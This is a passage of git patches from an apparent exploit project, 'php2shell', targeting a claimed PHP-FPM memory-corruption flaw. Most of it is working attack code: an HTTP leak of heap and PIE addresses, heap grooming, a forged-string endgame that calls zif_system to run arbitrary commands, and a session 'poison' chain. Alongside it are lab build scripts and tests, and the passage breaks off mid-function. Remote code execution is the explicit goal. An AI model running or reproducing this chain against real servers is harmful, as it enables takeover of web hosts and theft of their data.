pointed at a forged zend_string + header in a reclaimed big field. Its length spans the stale zval + array (chunk pointer) and the execute_ex handler table (PIE pointer). + The leak read is repeated because the worker aborts after answering. + """ + geom = _leak_geometry(version) + if geom is None: + raise RuntimeError(f"no HTTP leak geometry for PHP {version}") + chain = Target(base_url) + app = Target(base_url + "/app.php") + builder = Target(builder_url) + size = geom["size"] + read_len = geom["read_len"] + header = geom["header_content_off"] + content = bytearray(size) + struct.pack_into(" tuple[int, int]: + """PIE base and Zend-MM chunk base from /proc//maps only. + + This deliberately does not open /proc//mem: it is the local-lab + fallback for the memory oracle (maps + the profile symbol offset). + Remote targets use leak_bases_http() instead. + """ + pid = find_pool_worker(version, "chain") + if pid is None: + raise RuntimeError(f"no php-fpm 'chain' worker for {version}") + exe = os.readlink(f"/proc/{pid}/exe") + pie = None + chunk = None + with open(f"/proc/{pid}/maps", encoding="utf-8") as handle: + for line in handle: + parts = line.split() + start_s, end_s = parts[0].split("-") + start, end = int(start_s, 16), int(end_s, 16) + if len(parts) >= 6 and parts[-1] == exe: + if pie is None or start < pie: + pie = start + if chunk is None and "rw-p" in parts[1] and end - start == MEM_CHUNK: + chunk = start + if pie is None or chunk is None: + raise RuntimeError("could not derive PIE/chunk bases from maps") + return pie, chunk + + +def cmd_leak(args) -> int: + """Leak the chunk and PIE bases over HTTP and print them.""" + try: + pie, chunk = leak_bases_http(args.base, args.builder, args.version) + except (OSError, RuntimeError) as exc: + print(f"[!] {exc}") + return 1 + print(f"[+] chunk=0x{chunk:x} pie=0x{pie:x}") + return 0 + + +def cmd_no_oracle(args) -> int: + """HTTP-only endgame: no /proc//mem reads at exploit time. + + The absolute heap/PIE bases are stable for the lifetime of the FPM + master (workers are forked from it). By default they are leaked over + HTTP; --chunk/--pie override the leak and /proc//maps is a local + fallback. The reclaim geometry is normalized with one throw-away + pads+big request to a 404 endpoint (same allocation shape as + _probe_cover, no scanning), then the (d-offset, content-offset) pair + is brute-forced over the two slots and their possible cover offsets. + """ + pie = getattr(args, "pie", 0) + chunk = getattr(args, "chunk", 0) + if not chunk or not pie: + try: + pie, chunk = leak_bases_http(args.base, args.builder, args.version) + print("[*] bases from HTTP stale-string leak: " + f"pie=0x{pie:x} chunk=0x{chunk:x}") + except (OSError, RuntimeError) as exc: + print(f"[!] HTTP leak failed: {exc}") + try: + pie, chunk = _local_bases(args.version) + except (OSError, RuntimeError) as local_exc: + print(f"[!] cannot auto-detect bases locally: {local_exc}") + print(" pass --chunk/--pie (stable for the FPM master lifetime)") + return 1 + print("[*] bases from /proc//maps (no /proc//mem): " + f"pie=0x{pie:x} chunk=0x{chunk:x}") + zif = pie + _zif_offset(args.version) + size, candidates, pads = _no_oracle_geometry(args.version) + command = args.command.encode("latin1") + if not command or b"\x00" in command: + print("[!] command must be non-empty and contain no NUL bytes") + return 1 + if len(command) > 0x57: + print(f"[!] command too long ({len(command)} > 87 bytes)") + return 1 + proof = (args.proof_file or "out/p1").lstrip("/") + base = Target(args.base) + chain404 = Target(args.base + "/nope.php") + chainapp = Target(args.base + "/app.php") + builder = Target(args.builder) + local_proof = os.path.join(LAB, "webroot", proof) + + print(f"[*] no-oracle: chunk=0x{chunk:x} pie=0x{pie:x} zif=0x{zif:x}") + for attempt in range(8): + d_off, k = candidates[attempt % len(candidates)] + d = chunk + d_off + try: + os.remove(local_proof) + except OSError: + pass + # arm #1, then normalize the post-arm heap with a pads+big request + # that has the same allocation shape as the calibrated probe. + big_session_post(builder, OOM_SID, args.size) + producer_get(base, OOM_SID) + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": b"\x00" * size}) + chain404.post_multipart(parts, b"NORACLE0", timeout=120.0) + # rebuild the ref session and re-arm + ref_session_post(builder, REF_SID) + big_session_post(builder, OOM_SID, args.size) + producer_get(base, OOM_SID) + forged = _build_endgame_payload(d, k, size, zif, command) + status, _h, _b = _consume_b(chainapp, forged) + print(f"[*] attempt {attempt}: d=0x{d:x} k=0x{k:x} status={status}") + for _ in range(4): + time.sleep(0.35) + pstatus, _ph, pbody = base.get("/" + proof) + if pstatus == 200 and pbody: + print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") + return 0 + print(" no proof, retrying") + print(f"[!] no proof at /{proof}") + return 1 + + def cmd_chain(args) -> int: print(f"[*] chain: build sessions -> producer -> consumer ({args.phase} phase)") builder = Target(args.builder) @@ -836,9 +1098,12 @@ def main() -> int: default="primitive") parser.add_argument("--command", default="id>out/p1") parser.add_argument("--proof-file", default="out/p1") + parser.add_argument("--chunk", type=lambda x: int(x, 0), default=0) + parser.add_argument("--pie", type=lambda x: int(x, 0), default=0) sub = parser.add_subparsers(dest="cmd", required=True) for name in ("lifecycle", "oracle", "build-oom", "build-ref", "producer", - "reclaim-probe", "primitive", "endgame", "chain", "patchcheck"): + "reclaim-probe", "primitive", "endgame", "chain", "patchcheck", + "leak", "no-oracle"): sub.add_parser(name) args = parser.parse_args() dispatch = { @@ -852,6 +1117,8 @@ def main() -> int: "endgame": cmd_endgame, "chain": cmd_chain, "patchcheck": cmd_patchcheck, + "leak": cmd_leak, + "no-oracle": cmd_no_oracle, } return dispatch[args.cmd](args) From c01b7f6e89dcf3beabdeb6142b6d85e8069e85a8 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Sat, 24 Oct 2026 11:00:17 +0200 Subject: [PATCH 5/9] Bring the PHP-FPM toolchain up to the verified nginx+FPM chain Replace the FPM client and labs launcher with the version-aware chain and add the supporting tools: - php2shell_fpm.py gains a fully remote `calibrate` (derives the leak and reclaim geometry of any 8.0+ build over HTTP), the pre-auth session-file `poison` that covers PHP <= 7.x, and a `no-oracle` endgame that refuses the local /proc fallback unless explicitly asked. - php2shell_fpm_versions.py is the single source of truth for the affected-version matrix (is_vulnerable / fixed_in / source_is_fixed classify a tarball by the upstream fix marker, not a version string). - php2shell_fpm_profile.py drafts a profile from an unstripped php-fpm using nm plus php2shell_fpm_offsets.c, compiled per build for the struct layouts. - php2shell_fpm_matrix.py verifies the remote chain on every unpatched build, one lab at a time. - build_php.sh retries truncated tarballs and patches the two glibc misdetections that stop 7.x from building with a current toolchain; build_all.sh builds several versions in parallel. Verified on 8.2.34, 8.3.35, 8.4.0, 8.4.25 and 8.4.26 (amd64). 8.5.x is intentionally out of scope; the fix ships in 8.5.12. --- lab/fpm/build_all.sh | 84 +++ lab/fpm/build_php.sh | 53 +- tests/test_fpm.py | 329 +++++++++- tools/php2shell_fpm.py | 1022 ++++++++++++++++++++++++++----- tools/php2shell_fpm_labs.py | 210 +++++-- tools/php2shell_fpm_matrix.py | 145 +++++ tools/php2shell_fpm_offsets.c | 73 +++ tools/php2shell_fpm_profile.py | 399 ++++++++++++ tools/php2shell_fpm_versions.py | 212 +++++++ 9 files changed, 2319 insertions(+), 208 deletions(-) create mode 100755 lab/fpm/build_all.sh create mode 100644 tools/php2shell_fpm_matrix.py create mode 100644 tools/php2shell_fpm_offsets.c create mode 100644 tools/php2shell_fpm_profile.py create mode 100644 tools/php2shell_fpm_versions.py diff --git a/lab/fpm/build_all.sh b/lab/fpm/build_all.sh new file mode 100755 index 0000000..4893993 --- /dev/null +++ b/lab/fpm/build_all.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash +# build_all.sh — build several PHP-FPM versions into the lab runtime. +# +# Usage: lab/fpm/build_all.sh [ ...] +# lab/fpm/build_all.sh --range 8.4.0-8.4.26 +# +# Environment: +# PAR parallel build jobs (default: 4) +# JOBS make -j per build (default: 4) +# +# Each build reuses lab/fpm/build_php.sh, so the sources are downloaded once +# and the user prefix lands in lab/fpm/runtime/php-/. +set -uo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +PAR="${PAR:-4}" +JOBS="${JOBS:-4}" +LOGDIR="${LOGDIR:-$HERE/runtime/logs/builds}" + +mkdir -p "$LOGDIR" + +expand_range() { + # 8.4.0-8.4.26 -> 8.4.0 ... 8.4.26 + local spec="$1" first last prefix v + first="${spec%%-*}" + last="${spec##*-}" + prefix="${first%.*}." + for ((v = ${first##*.}; v <= ${last##*.}; v++)); do + printf '%s%d\n' "$prefix" "$v" + done +} + +VERSIONS=() +for arg in "$@"; do + case "$arg" in + --range) continue ;; + *-*) + while IFS= read -r line; do VERSIONS+=("$line"); done \ + < <(expand_range "$arg") + ;; + *) VERSIONS+=("$arg") ;; + esac +done + +if [ ${#VERSIONS[@]} -eq 0 ]; then + echo "usage: build_all.sh [ ...] | --range 8.4.0-8.4.26" + exit 2 +fi + +running=0 +failures=0 +for version in "${VERSIONS[@]}"; do + prefix="$HERE/runtime/php-$version" + if [ -x "$prefix/sbin/php-fpm" ]; then + echo "[=] $version: already built" + continue + fi + while [ "$(jobs -rp | wc -l)" -ge "$PAR" ]; do wait -n; done + ( + log="$LOGDIR/build-$version.log" + if "$HERE/build_php.sh" "$version" >"$log" 2>&1; then + echo "[+] $version: built" + else + echo "[!] $version: build failed (see $log)" + exit 1 + fi + ) & + running=$((running + 1)) +done +wait + +for version in "${VERSIONS[@]}"; do + prefix="$HERE/runtime/php-$version" + if [ ! -x "$prefix/sbin/php-fpm" ]; then + echo "[!] $version: missing $prefix/sbin/php-fpm" + failures=$((failures + 1)) + fi +done + +if [ "$failures" -gt 0 ]; then + echo "[!] $failures build(s) failed" + exit 1 +fi +echo "[+] all requested versions built" diff --git a/lab/fpm/build_php.sh b/lab/fpm/build_php.sh index 1031076..e7f3320 100755 --- a/lab/fpm/build_php.sh +++ b/lab/fpm/build_php.sh @@ -18,19 +18,61 @@ JOBS="${JOBS:-$(nproc)}" mkdir -p "$SRC" +download_tarball() { + # A truncated download is a common failure mode: the archive is checked + # with gzip -t and re-fetched until it is intact. + local url tarball attempt + tarball="$1" + for attempt in 1 2 3; do + rm -f "$tarball" + for url in "https://www.php.net/distributions/php-$VER.tar.gz" \ + "https://museum.php.net/php8/php-$VER.tar.gz"; do + echo "[*] downloading php-$VER (attempt $attempt) from $url" + if curl -fsSL -o "$tarball" "$url" && gzip -t "$tarball" 2>/dev/null; then + return 0 + fi + echo "[!] download or archive check failed for php-$VER" + done + done + echo "[!] could not fetch a valid php-$VER tarball" + return 1 +} + if [ ! -d "$SRC/php-$VER" ]; then if [ -z "$TARBALL" ]; then TARBALL="$SRC/php-$VER.tar.gz" - if [ ! -f "$TARBALL" ]; then - echo "[*] downloading php-$VER" - curl -fsSL -o "$TARBALL" "https://www.php.net/distributions/php-$VER.tar.gz" || - curl -fsSL -o "$TARBALL" "https://museum.php.net/php8/php-$VER.tar.gz" + if [ ! -f "$TARBALL" ] || ! gzip -t "$TARBALL" 2>/dev/null; then + download_tarball "$TARBALL" fi fi echo "[*] extracting $TARBALL" tar xzf "$TARBALL" -C "$SRC" fi +# Legacy branches (7.x) mis-detect modern glibc in two places, both of which +# stop the build with a current toolchain: +# +# * readdir_r() is the POSIX three-argument form since glibc 2.30, while +# configure still selects the legacy two-argument one. PHP 7.2 also +# calls php_readdir_r() from ext/session/mod_files.c before including +# php_reentrancy.h, so the macro that maps it onto readdir_r() cannot be +# relied on: patch the call itself. +# * the fopencookie seek handler takes a pointer to an off64_t, a plain +# configure decision, so it is fixed in the generated php_config.h. +fix_legacy_config() { + local cfg="$SRC/php-$VER/main/php_config.h" + local reent="$SRC/php-$VER/main/reentrancy.c" + [ -f "$cfg" ] || return 0 + if grep -q '^/\* #undef COOKIE_SEEKER_USES_OFF64_T \*/' "$cfg"; then + sed -i 's|^/\* #undef COOKIE_SEEKER_USES_OFF64_T \*/|#define COOKIE_SEEKER_USES_OFF64_T 1|' \ + "$cfg" + fi + if [ -f "$reent" ] && grep -q '^ readdir_r(dirp, entry);$' "$reent"; then + sed -i 's|^ readdir_r(dirp, entry);$| struct dirent *r_dir_entry = NULL;\n readdir_r(dirp, entry, \&r_dir_entry);|' \ + "$reent" + fi +} + cd "$SRC/php-$VER" if [ ! -f Makefile ] || [ ! -f config.status ]; then echo "[*] configuring php-$VER (fpm, session, minimal)" @@ -43,8 +85,9 @@ if [ ! -f Makefile ] || [ ! -f config.status ]; then --without-pear \ --disable-cgi \ --disable-phpdbg \ - CFLAGS="-O2 -g" + CFLAGS="${CFLAGS:--O2 -g}" fi +fix_legacy_config echo "[*] building php-$VER (-j$JOBS)" make -j"$JOBS" >/dev/null make install >/dev/null diff --git a/tests/test_fpm.py b/tests/test_fpm.py index 4320d9d..db61b22 100644 --- a/tests/test_fpm.py +++ b/tests/test_fpm.py @@ -12,15 +12,18 @@ import os import struct import sys +import tempfile import unittest from pathlib import Path from types import SimpleNamespace +from unittest import mock ROOT = Path(__file__).resolve().parent.parent sys.path.insert(0, str(ROOT / "tools")) -import php2shell_auto as auto # noqa: E402 import php2shell_fpm as fpm # noqa: E402 +import php2shell_fpm_profile as profile_gen # noqa: E402 +import php2shell_fpm_versions as versions # noqa: E402 D = 0x7F07BE280000 # lab-observed stale struct address K = 0xFE8 # lab-observed reclaim content offset @@ -56,18 +59,43 @@ def test_leak_geometry(self): self.assertEqual(g["chunk_ptr_off"], 0x77F8) self.assertEqual(g["pie_ptr_off"], 0x157E8) + def test_leak_geometry_8425_pie_offset(self): + g = fpm._leak_geometry("8.4.25") + self.assertIsNotNone(g) + self.assertEqual(g["pie_base_off"], 0x4E9FC7) + self.assertEqual(g["pads"], [32768, 16384]) + + +class NoOracleRemoteModeTests(unittest.TestCase): + """--no-oracle must not silently read local /proc when remote.""" + + def _args(self, **extra): + base = dict( + base="http://127.0.0.1:1", + builder="http://127.0.0.1:2", + version="8.4.26", + chunk=0, + pie=0, + allow_local_fallback=False, + ) + base.update(extra) + return SimpleNamespace(**base) -class SapiRoutingTests(unittest.TestCase): - def test_detect_sapi(self): - self.assertEqual(auto.detect_sapi("nginx/1.26.3"), "fpm") - self.assertEqual(auto.detect_sapi("Apache/2.4.62 (Debian)"), "apache") - self.assertEqual(auto.detect_sapi(""), "unknown") - self.assertEqual(auto.detect_sapi("LiteSpeed"), "unknown") + def test_http_leak_failure_does_not_use_local_fallback(self): + with mock.patch.object(fpm, "leak_bases_http", + side_effect=RuntimeError("offline")), \ + mock.patch.object(fpm, "_local_bases") as local: + self.assertEqual(fpm.cmd_no_oracle(self._args()), 1) + local.assert_not_called() - def test_proof_path_from_command(self): - self.assertEqual(auto.proof_path_from_command("id>out/p1"), "out/p1") - self.assertEqual(auto.proof_path_from_command("id >/tmp/x "), "tmp/x") - self.assertEqual(auto.proof_path_from_command("id"), "out/p1") + def test_local_fallback_requires_explicit_opt_in(self): + with mock.patch.object(fpm, "leak_bases_http", + side_effect=RuntimeError("offline")), \ + mock.patch.object(fpm, "_local_bases", + side_effect=RuntimeError("no lab")) as local: + self.assertEqual( + fpm.cmd_no_oracle(self._args(allow_local_fallback=True)), 1) + local.assert_called_once_with("8.4.26") class EndgamePayloadTests(unittest.TestCase): @@ -144,9 +172,60 @@ def test_fake_zend_string(self): self.assertEqual(self.buf[self._off(D + 0x898) + len(CMD)], 0) +class ProfileGeneratorTests(unittest.TestCase): + NM = ("0000000000386460 t zif_system\n" + "0000000000549890 T zval_ptr_dtor\n" + "0000000000a04660 B basic_globals\n") + + def test_parse_nm_symbols(self): + symbols = profile_gen.parse_nm(self.NM) + self.assertEqual(symbols, { + "zif_system": 0x386460, + "zval_ptr_dtor": 0x549890, + "basic_globals": 0xA04660, + }) + + def test_parse_nm_rejects_missing_symbol(self): + with self.assertRaisesRegex(ValueError, "missing symbols"): + profile_gen.parse_nm("0000000000386460 t zif_system\n") + + def test_build_draft_copies_geometry_and_marks_unverified(self): + template = json.loads( + (ROOT / "profiles" / "8.4.26-fpm.json").read_text()) + draft = profile_gen.build_draft("8.4.25", + profile_gen.parse_nm(self.NM), template) + self.assertFalse(draft["verified"]) + self.assertFalse(draft["rce"]) + self.assertEqual(draft["fixed_in"], "8.4.27") + self.assertEqual(draft["libphp"]["zif_system"], "0x386460") + self.assertEqual(draft["fpm"]["basic_globals"], "0xa04660") + self.assertEqual(draft["fpm"]["leak"], template["fpm"]["leak"]) + + +class PathConfigTests(unittest.TestCase): + def test_cookie_name_and_custom_paths(self): + args = SimpleNamespace(app_path="/index.php", arm_path="/arm.php", + ref_path="/session.php", probe_path="/404", + session_cookie="MYSESSID") + with mock.patch.dict(fpm.PATHS, { + "app": "/app.php", "arm": "/bigvar.php", "ref": "/ref.php", + "probe": "/nope.php", "cookie": "PHPSESSID"}): + fpm.configure_paths(args) + self.assertEqual(fpm.PATHS["app"], "/index.php") + self.assertEqual(fpm.PATHS["cookie"], "MYSESSID") + self.assertEqual(fpm._cookie(b"abc"), b"MYSESSID=abc") + + +class OracleChunkTests(unittest.TestCase): + def test_chunk_base_handles_merged_anonymous_mapping(self): + oracle = object.__new__(fpm.Oracle) + oracle.maps = [(0x7F0000000000, 0x7F0000230000, "rw-p")] + self.assertEqual(oracle.chunk_base(0x7F0000081000), 0x7F0000000000) + + class ProfileConsistencyTests(unittest.TestCase): - def _profile(self) -> dict: - return json.loads((ROOT / "profiles" / "8.4.26-fpm.json").read_text()) + def _profile(self, version: str = "8.4.26") -> dict: + return json.loads((ROOT / "profiles" / f"{version}-fpm.json").read_text()) def test_fpm_profile_matches_module_constants(self): meta = self._profile()["fpm"] @@ -156,7 +235,7 @@ def test_fpm_profile_matches_module_constants(self): fpm.BG_UNSERIALIZE_LEVEL_OFF) self.assertEqual(meta["struct_size"], 8216) self.assertEqual(meta["reclaim_size"], SIZE) - self.assertEqual(meta["reclaim_pads"], [4096, 4096, 4096]) + self.assertEqual(meta["reclaim_pads"], [4096, 4096]) def test_fpm_profile_is_rce_verified(self): profile = self._profile() @@ -166,31 +245,47 @@ def test_fpm_profile_is_rce_verified(self): self.assertEqual(profile["fixed_in"], "8.4.27") self.assertEqual(profile["libphp"]["zif_system"], "0x386660") + def test_fpm_8425_profile_is_rce_verified(self): + profile = self._profile("8.4.25") + self.assertTrue(profile["rce"]) + self.assertTrue(profile["verified"]) + self.assertEqual(profile["fixed_in"], "8.4.27") + self.assertEqual(profile["libphp"]["zif_system"], "0x386460") + self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096]) + self.assertEqual(profile["fpm"]["no_oracle"]["candidates"], + [{"d_off": "0x7f000", "k": "0xfe8"}]) + def test_fpm_profile_validates_against_schema(self): try: import jsonschema except ImportError: self.skipTest("jsonschema not installed") - schema = json.loads((ROOT / "profiles" / "schema.json").read_text()) - jsonschema.validate(self._profile(), schema) + schema = json.loads((ROOT / "profiles" / "fpm-schema.json").read_text()) + for version in ("8.2.34", "8.3.35", "8.4.0", "8.4.25", "8.4.26"): + with self.subTest(version=version): + jsonschema.validate(self._profile(version), schema) LAB = os.environ.get("PHP2SHELL_FPM_LAB") == "1" +LAB_VERSION = os.environ.get("PHP2SHELL_FPM_VERSION", "8.4.26") +LAB_PORTS = {"8.4.25": (8130, 8131), "8.4.26": (8110, 8111)} @unittest.skipUnless(LAB, "set PHP2SHELL_FPM_LAB=1 with the FPM lab up") class FpmLabIntegrationTests(unittest.TestCase): - """End-to-end primitive and RCE against the local 8.4.26 lab.""" + """End-to-end primitive and RCE against a local FPM lab.""" def _args(self, **extra): + chain, builder = LAB_PORTS[LAB_VERSION] + proof = f"out/p1lab-{LAB_VERSION.replace('.', '')}" base = dict( - base="http://127.0.0.1:8110", - builder="http://127.0.0.1:8111", - version="8.4.26", + base=f"http://127.0.0.1:{chain}", + builder=f"http://127.0.0.1:{builder}", + version=LAB_VERSION, size=4 << 20, value=1337337, - command="id>out/p1lab", - proof_file="out/p1lab", + command=f"id>{proof}", + proof_file=proof, ) base.update(extra) return SimpleNamespace(**base) @@ -205,5 +300,195 @@ def test_no_oracle_rce_proof(self): self.assertEqual(fpm.cmd_no_oracle(self._args()), 0) +class VersionRegistryTests(unittest.TestCase): + """The advisory matrix (CVE-2026-109619) has to drive every tool.""" + + def test_patched_branch_boundary(self): + self.assertTrue(versions.is_vulnerable("8.4.26")) + self.assertFalse(versions.is_vulnerable("8.4.27")) + self.assertTrue(versions.is_vulnerable("8.2.34")) + self.assertFalse(versions.is_vulnerable("8.2.35")) + self.assertTrue(versions.is_vulnerable("8.3.35")) + self.assertFalse(versions.is_vulnerable("8.3.36")) + + def test_eol_branches_are_always_vulnerable(self): + for version in ("7.2.34", "7.4.33", "8.0.30", "8.1.33"): + with self.subTest(version=version): + self.assertTrue(versions.is_vulnerable(version)) + self.assertIsNone(versions.fixed_in(version)) + + def test_chain_requires_php_eight(self): + """PHP <= 7.x never frees the unserialize struct on the bailout.""" + self.assertFalse(versions.chain_applies("7.2.34")) + self.assertFalse(versions.chain_applies("7.4.33")) + self.assertTrue(versions.chain_applies("8.0.0")) + self.assertTrue(versions.chain_applies("8.4.26")) + + def test_cancel_decode_detection_reads_the_source(self): + source = ROOT / "lab" / "fpm" / "runtime" / "src" + expected = {"php-7.2.34": False, "php-7.4.33": False, + "php-8.2.34": True, "php-8.4.26": True} + for name, want in expected.items(): + tree = source / name + if not tree.is_dir(): + self.skipTest(f"{tree} is not extracted") + with self.subTest(build=name): + self.assertEqual(versions.has_session_cancel_decode(str(tree)), + want) + + def test_fixed_in_per_branch(self): + self.assertEqual(versions.fixed_in("8.4.26"), "8.4.27") + self.assertEqual(versions.fixed_in("8.3.1"), "8.3.36") + self.assertIsNone(versions.fixed_in("7.2.1")) + + def test_affected_versions_cover_every_branch(self): + affected = versions.affected_versions() + for version in ("8.2.34", "8.3.35", "8.4.26", "7.2.34", "7.4.33"): + self.assertIn(version, affected) + + def test_ports_keep_documented_builds_and_never_collide(self): + self.assertEqual(versions.ports_for("8.4.26"), (8110, 8111, 9001, 9002)) + self.assertEqual(versions.ports_for("8.4.25"), (8130, 8131, 9021, 9022)) + used: dict[int, str] = {} + for version in ("7.2.34", "7.4.33", "8.2.34", "8.3.35", + "8.4.25", "8.4.26", "8.4.27"): + for port in versions.ports_for(version): + self.assertNotIn(port, used, f"{version} reuses {port} " + f"from {used.get(port)}") + used[port] = version + + def test_unknown_branch_is_rejected(self): + with self.assertRaises(versions.UnknownVersion): + versions.ports_for("9.9.9") + + def test_source_detection_uses_the_fix_marker(self): + source = ROOT / "lab" / "fpm" / "runtime" / "src" + fixed = source / "php-8.4.27.tar.gz" + vulnerable = source / "php-8.4.26.tar.gz" + if not (fixed.is_file() and vulnerable.is_file()): + self.skipTest("release tarballs are not downloaded") + self.assertTrue(versions.source_is_fixed(str(fixed))) + self.assertFalse(versions.source_is_fixed(str(vulnerable))) + + +MODERN_SOURCE = """\ +#define VAR_ENTRIES_MAX 1018 +struct php_unserialize_data { +\tvar_entries *last; +\tvar_dtor_entries *first_dtor; +\tvar_dtor_entries *last_dtor; +\tHashTable *allowed_classes; +\tHashTable *ref_props; +\tzend_long cur_depth; +\tzend_long max_depth; +\tvar_entries entries; +}; +""" + + +class UnserializeLayoutTests(unittest.TestCase): + """The struct shape decides which payload has to be forged.""" + + def _parse(self, text: str) -> dict: + with tempfile.TemporaryDirectory() as tmp: + path = os.path.join(tmp, "ext", "standard") + os.makedirs(path) + with open(os.path.join(path, "var_unserializer.c"), + "w", encoding="utf-8") as handle: + handle.write(text) + return profile_gen.parse_unserialize_struct(tmp) + + def test_modern_shape_has_embedded_block(self): + parsed = self._parse(MODERN_SOURCE) + self.assertEqual(parsed["offsets"]["entries"], 56) + self.assertEqual(parsed["size"], 56 + 16 + 8 * 1018) + self.assertEqual(parsed["var_entries"]["data"], 16) + self.assertEqual(parsed["var_entries"]["used_slots"], 0) + + +class PoisonTests(unittest.TestCase): + """Upload-progress session-ID fixation (the chain that works on 7.x).""" + + def _args(self, **extra): + base = dict(base="http://127.0.0.1:1", builder="http://127.0.0.1:2", + version="7.4.33", sid="fixedsid01", payload="MARKER", + progress_key=None) + base.update(extra) + return SimpleNamespace(**base) + + def test_sid_comes_from_the_post_body_and_payload_is_the_filename(self): + captured = {} + + def fake_post(parts, boundary, timeout=None): + captured["parts"] = parts + return 200, {}, b"" + + with mock.patch.object(fpm, "Target") as target_cls, \ + mock.patch.object(os.path, "isfile", return_value=False), \ + mock.patch.object(fpm.os.path, "isfile", return_value=False): + target_cls.side_effect = lambda *a, **k: mock.Mock( + post_multipart=fake_post, get=lambda *a, **k: (200, {}, b"")) + self.assertEqual(fpm.cmd_poison(self._args()), 1) + + names = [part["name"] for part in captured["parts"]] + self.assertIn("PHPSESSID", names) # POST-body sid fixation + self.assertIn("PHP_SESSION_UPLOAD_PROGRESS", names) + file_part = next(p for p in captured["parts"] + if p.get("filename") is not None) + self.assertEqual(file_part["filename"], b"MARKER") + + def test_verified_when_the_application_reflects_the_payload(self): + def post(*_args, **_kwargs): + return 200, {}, b"" + + def get(*_args, **_kwargs): + return 200, {}, b"upload_progress_pwn|a:1:{s:4:\"name\";s:6:\"MARKER\";}" + + with mock.patch.object(fpm, "Target") as target_cls, \ + mock.patch.object(fpm.os.path, "isfile", return_value=False): + target_cls.side_effect = lambda *a, **k: mock.Mock( + post_multipart=post, get=get) + self.assertEqual(fpm.cmd_poison(self._args()), 0) + if __name__ == "__main__": unittest.main() + + +class PieCodeWindowTests(unittest.TestCase): + """The executable window bounds the PIE-base search: the real pointer is + tried at the step that reproduces its offset, and every pointer costs at + most a handful of endgame attempts.""" + + WINDOW = (0x200000, 0x600000) + + def _steps(self, pointer: int) -> list[tuple[int, int]]: + """(step, offset) pairs the window would actually try.""" + aligned = pointer & ~(fpm.MEM_CHUNK - 1) + out = [] + for steps in range(0, 6): + candidate = aligned - steps * fpm.MEM_CHUNK + offset = pointer - candidate + if offset >= self.WINDOW[1]: + break + if offset < self.WINDOW[0]: + continue + out.append((steps, offset)) + return out + + def test_real_handler_pointer_is_tried_at_its_true_base(self): + pie = 0x557099000000 # lab-observed 8.4.26 base + pointer = pie + 0x4EA787 # execute_ex handler table + tried = self._steps(pointer) + self.assertIn((2, 0x4EA787), tried) + # the step that carries the true base is among the candidates + self.assertTrue(any(pointer - (pointer & ~(fpm.MEM_CHUNK - 1)) + + step * fpm.MEM_CHUNK == 0x4EA787 + for step, _offset in tried)) + + def test_search_is_bounded_per_pointer(self): + for pointer in (0x5570994EA787, 0x560EECEB6E20, 0x7F784BC8B000): + with self.subTest(pointer=hex(pointer)): + self.assertLessEqual(len(self._steps(pointer)), 4) + + def test_window_constant_matches_the_shipped_geometry(self): + self.assertEqual(fpm.PIE_CODE_WINDOW, self.WINDOW) diff --git a/tools/php2shell_fpm.py b/tools/php2shell_fpm.py index de254a6..fb773b7 100755 --- a/tools/php2shell_fpm.py +++ b/tools/php2shell_fpm.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_fpm.py — CVE-2026-109619 exploitation client for nginx + PHP-FPM. @@ -45,6 +44,8 @@ from __future__ import annotations import argparse +import contextlib +import copy import json import os import re @@ -57,6 +58,10 @@ HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) +sys.path.insert(0, HERE) + +import php2shell_fpm_versions as registry # noqa: E402 + LAB = os.path.join(ROOT, "lab", "fpm") RUNTIME = os.path.join(LAB, "runtime") @@ -67,6 +72,27 @@ OOM_SID = b"fmroom000000000001" REF_SID = b"fpmref000000000001" +PATHS = { + "app": "/app.php", + "arm": "/bigvar.php", + "ref": "/ref.php", + "probe": "/nope.php", + "cookie": "PHPSESSID", +} + + +def _cookie(sid: bytes) -> bytes: + return PATHS["cookie"].encode("latin1") + b"=" + sid + + +def configure_paths(args) -> None: + for key, attr in (("app", "app_path"), ("arm", "arm_path"), + ("ref", "ref_path"), ("probe", "probe_path"), + ("cookie", "session_cookie")): + value = getattr(args, attr, None) + if value: + PATHS[key] = str(value) + # --------------------------------------------------------------------------- # # http @@ -249,15 +275,19 @@ def u32(self, addr: int) -> int: return struct.unpack(" int: - return self.u64(self.bg + BG_UNSERIALIZE_DATA_OFF) + data_off, _level_off = _bg_offsets(self.version) + return self.u64(self.bg + data_off) def unserialize_level(self) -> int: - return self.u32(self.bg + BG_UNSERIALIZE_LEVEL_OFF) + _data_off, level_off = _bg_offsets(self.version) + return self.u32(self.bg + level_off) def chunk_base(self, addr: int) -> int | None: for start, end, perms in self.maps: - if start <= addr < end and "rw-p" in perms and end - start == MEM_CHUNK: - return start + if start <= addr < end and "rw-p" in perms and end - start >= MEM_CHUNK: + base = addr & ~(MEM_CHUNK - 1) + if start <= base and base + MEM_CHUNK <= end: + return base return None def refresh(self) -> None: @@ -273,7 +303,7 @@ def dump(self) -> None: print(f"zif_system 0x{self.zif:x}") print(f"zval_ptrdtor 0x{self.dtor:x}") print(f"BG.data 0x{d:x} level={level}") - print(f"chunk_base {('0x%x' % chunk) if chunk else None}") + print(f"chunk_base {hex(chunk) if chunk else None}") # --------------------------------------------------------------------------- # @@ -287,7 +317,7 @@ def session_file(version: str, sid: bytes) -> str: def big_session_post(builder: Target, sid: bytes, size: int) -> tuple[int, bytes]: """Progress-key 4MB string -> session file with a huge key (cleanup=Off).""" parts = [ - {"name": "PHPSESSID", "data": sid}, + {"name": PATHS["cookie"], "data": sid}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"A" * size}, {"name": "f", "filename": "a.txt", "data": b"x" * 16}, ] @@ -298,12 +328,12 @@ def big_session_post(builder: Target, sid: bytes, size: int) -> tuple[int, bytes def ref_session_post(builder: Target, sid: bytes) -> tuple[int, bytes]: """ref.php stores $_SESSION['r'] =& $_SESSION['a'] -> 'R:2' in the file.""" status, _headers, body = builder.post_urlencoded( - {"x": "1"}, cookie=b"PHPSESSID=" + sid, path="/ref.php") + {"x": "1"}, cookie=_cookie(sid), path=PATHS["ref"]) return status, body def producer_get(chain: Target, sid: bytes) -> tuple[int, bytes]: - status, 